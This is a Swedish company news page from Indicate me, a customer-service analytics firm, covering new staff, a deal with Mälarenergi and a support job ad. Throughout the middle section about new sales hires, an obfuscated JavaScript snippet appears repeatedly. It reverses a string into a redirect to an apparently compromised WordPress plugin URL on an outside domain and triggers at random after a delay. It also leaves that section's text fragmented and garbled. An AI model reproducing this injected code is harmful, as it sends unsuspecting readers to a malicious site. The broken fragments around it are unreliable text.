Indicate me växer och har fått förstärkning av två nya medarbetare – Vi önskar Emma Kindström och Oskar Alm varmt välkomna till Indicate me
I takt med ett ökat inflöde av kunder, har även behovet av fler resurser inom såväl teknisk support som systemutveckling växt fram.
– Vi ser ett ökat intresse av vår produkt på marknaden. Företag uppskattar enkelheten i vårt verktyg, där vi samlar och visualiserar information direkt till ledare och medarbetare i kundservice. Det är flera kunder på ingång och vi vill att samtliga ska uppleva en enkel implementationsprocess och hög service från vår support, samtidigt som vi fortsätter att bygga vidare på vårt verktyg, berättar Lina Bjelkmar, VD på Indicate me.
Indicate me har som rutin att äga hela implementationsfasen och ha direktkontakt med sina kunders underleverantörer, så att de inte behöver agera mellanhand. Detta är något som uppskattas med uppstarten. Vidare kommer Emma med sin expertis inom interaktionsdesign att intensifiera Indicate me’s fokus gällande användarvänlighet i verktyget.
– För oss är service a och o, därför är jag glad över att vi har fått förstärkning med Oskar i vår tekniska support så att vi kan fortsätta hålla en hög servicenivå. Jag ser även fram emot Emmas besök hos våra kunder för att förstå hur användarvänligheten både kan bibehållas och förbättras i takt med att vi växer med ny funktionalitet, säger Lina.
Indicate me fortsätter att växa
Under hösten kommer vi fortsätta att expandera. Just nu söker vi fler systemutvecklare men inom kort kommer vi även att utöka med fler inom Customer Success samt teknisk support.
– Att arbeta som systemutvecklare hos oss innebär att man får tillhöra ett snabbrörligt bolag med högt i tak och stor möjlighet att påverka sin egen roll och vår produkt, avslutar Lina.
Säg hej till våra två nya medarbetare i utvecklingsteamet
Emma Kindström
Roll: Systemutvecklare
Tidigare erfarenhet: Jag har en högskoleutbildning inom interaktionsdesign och kommer närmast från ett eget bolag där jag arbetat just inom detta.
Roligfakta: Har tidigare tävlat i bugg och vunnit junior EM.
Oskar Alm
Roll: Technical support
Tidigare erfarenhet: Jag har tidigare arbetat med kundsupport riktad direkt mot slutanvändare av tekniska produkter, något som gett mig stor insikt av hur tjänster som Indicate me kan bidra till att effektivisera ens arbete och gynna den professionella utvecklingen när man arbetar med kundtjänst. Innan det studerade jag Systemvetenskap på Linköpings Universitet.
Roligfakta: Har spelat kortspelet Magic: The Gathering sedan barnsben, har en grupp med vänner jag spelar med då och då. Jag har även deltagit i nationella turneringar.
$NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to”> är i en mycket spännande fas där vi har en tillväxttakt på nära 40% och en lönsamhet på 20%. Under hösten 2022 kommer vi genomföra flera stora satsningar, bland annat på fler medarbetare
$NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to”> är en av våra nycklar till framgång. Engagerade medarbetare hjälper oss att fortsätta växa och ge våra toria Passgård, Sales Manager, har
toria och fortsätter:
$NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to”>år är att
Säg hej till våra två nya medarbetare i säljteamet
Josefin Jonasson
$NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to”>Förväntningar:
$NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to”>Jag kommer närmast från studier vid Göteborgs Universitet. Där har jag en kandidatexamen från ett samhällsvetenskapligt miljövetarprogram med inriktning på ekonomi. Under studietiden har jag arbetat extra som försäljare på Stadium.
$NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to”>Jag$NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to”>jag befinner sig på en snowboard i full fart genom pudret.
Daniel Gunnarsson
Roll:$NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to”>Förväntningar: $NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to”> är såklart att kunna bidra med god lönsamhet och många affärer till företaget. Tillsammans med detta, samt i och med att jag är en social person som gillar människor, så hoppas jag kunna bygga goda och långvariga relationer med kunder och potentiella kunder. Ytterligare så hoppas jag på att vara med och utveckla
$NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to”>Sedan vore det roligt att lära sig mer om alla kuggar som måste klaffa för att driva företaget framåt och även lära sig lite om programutvecklingen bakom verktyget.
$NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to”> Jag kommer närmast från NP Gruppen där jag arbetat som projektledare inom solceller. Här har jag arbetat med hela kundresan: Från start, installation till avslut.
$NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to”> Jag är en berest jämtlänning som spelat amerikansk fotboll på elitnivå. Oavsett om jag befinner mig på planen eller på kontoret ser jag till att stötta och heja på dom i teamet!
Vi önskar Josefin och Daniel varmt välkomna till Indicate me familjen 😊
Häromdagen gick startskottet för samarbetet mellan Mälarenergi och Indicate me. Ett samarbete som innebär att Indicate me inom kort kommer att implementeras hos Mälarenergi’s kundservice.
“Vi har ett en tydlig vision om vad vi vill uppnå och Indicate me kommer hjälpa oss med att skapa förutsättningar att ta oss dit. Vi ser verkligen fram emot samarbetet”, säger Helene Malmgren Chef Kund och Marknadsföring Mälarenergi.
Tack vare samarbetet med Indicate me kommer Mälarenergi få bättre och snabbare insikter baserat på kundkontakterna till Mälarenergis kundservice. De kommer även få en sömlös lösning där alla nyckeltal är samlade på en och samma plats, vilket underlättar coachningen av medarbetarna.
Indicate me kommer även att bidra med bättre insikter om vad som gör kunderna nöjda samt vilka förbättringsområden som finns. Dessutom kommer Indicate me bidra till ökat självledarskap genom att medarbetarna får insikt i sitt eget arbete. Vilket även kommer att bidra till ökad förståelse för hur den egna insatsen påverkar kundnöjdheten.
“Det ska bli väldigt roligt att hjälpa Mälarenergi effektivisera och förbättra sin kundservice”, säger Lina Bjelkmar, VD Indicte me.
Varmt välkomna till oss på Indicate me!
Om Mälarenergi
Vårt uppdrag är att göra det enkelt för dig att leva hållbart. Vi ser till att infraservicen, våra tjänster och produkter, bidrar till ett hållbart samhälle – för att du ska slippa tänka på det. Genom att alltid vara tillgängliga för våra kunder och tillhandahålla socialt, ekonomiskt och ekologiskt hållbara erbjudanden skapar vi rätt förutsättningar för ett växande näringsliv och samhälle.
Vi är idag över 700 medarbetare, ägs av Västerås stad och omsätter cirka tre miljarder kronor. Varje år får Västerås stad, och därmed kommuninvånarna, 54 miljoner kronor av Mälarenergis vinst.
Mälarenergi arbetar ständigt för att utveckla och förbättra våra produkter och tjänster i enlighet med vår vision och affärsidé.
Indicate me söker en 2nd line-medarbetare till vår tekniska support i Linköping. Gillar du IT och teknik, har baskunskaper i SQL och vill kombinera detta med att ge en god service? Då kan tjänsten passa dig.
Om tjänsten
Som medarbetare hos oss kommer du arbeta med mer avancerade supportärenden till våra kunder. De uppgifter du kommer ställas inför varierar i hög grad. Det är därför viktigt att du är en nyfiken person som gillar utmaningar och tycker att det är roligt med problemlösning.
Du kommer framför allt arbeta i våra SQL-databaser. Jobbet innebär konfiguration i databastabeller, incidenthantering och felsökning, samt arbete med procedurer för att t ex läsa data och genomföra beräkningar.
Kontakt med kunder sker i första hand genom vår servicedesk, Jira, men kan även innebära telefon- eller onlinemöten på svenska och engelska.